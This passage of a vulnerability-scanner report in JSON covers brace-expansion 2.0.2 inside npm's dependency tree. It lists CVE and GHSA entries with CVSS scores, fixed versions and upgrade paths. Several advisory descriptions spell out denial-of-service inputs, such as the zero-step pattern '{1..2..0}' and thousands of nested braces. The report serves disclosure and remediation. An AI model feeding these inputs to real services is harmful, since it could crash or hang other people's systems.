"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/sign@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/sign@4.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"sigstore@3.1.0",
"@sigstore/tuf@3.1.1",
"tuf-js@3.1.0",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"sigstore@4.1.1",
"@sigstore/tuf@4.0.2",
"tuf-js@4.1.0",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
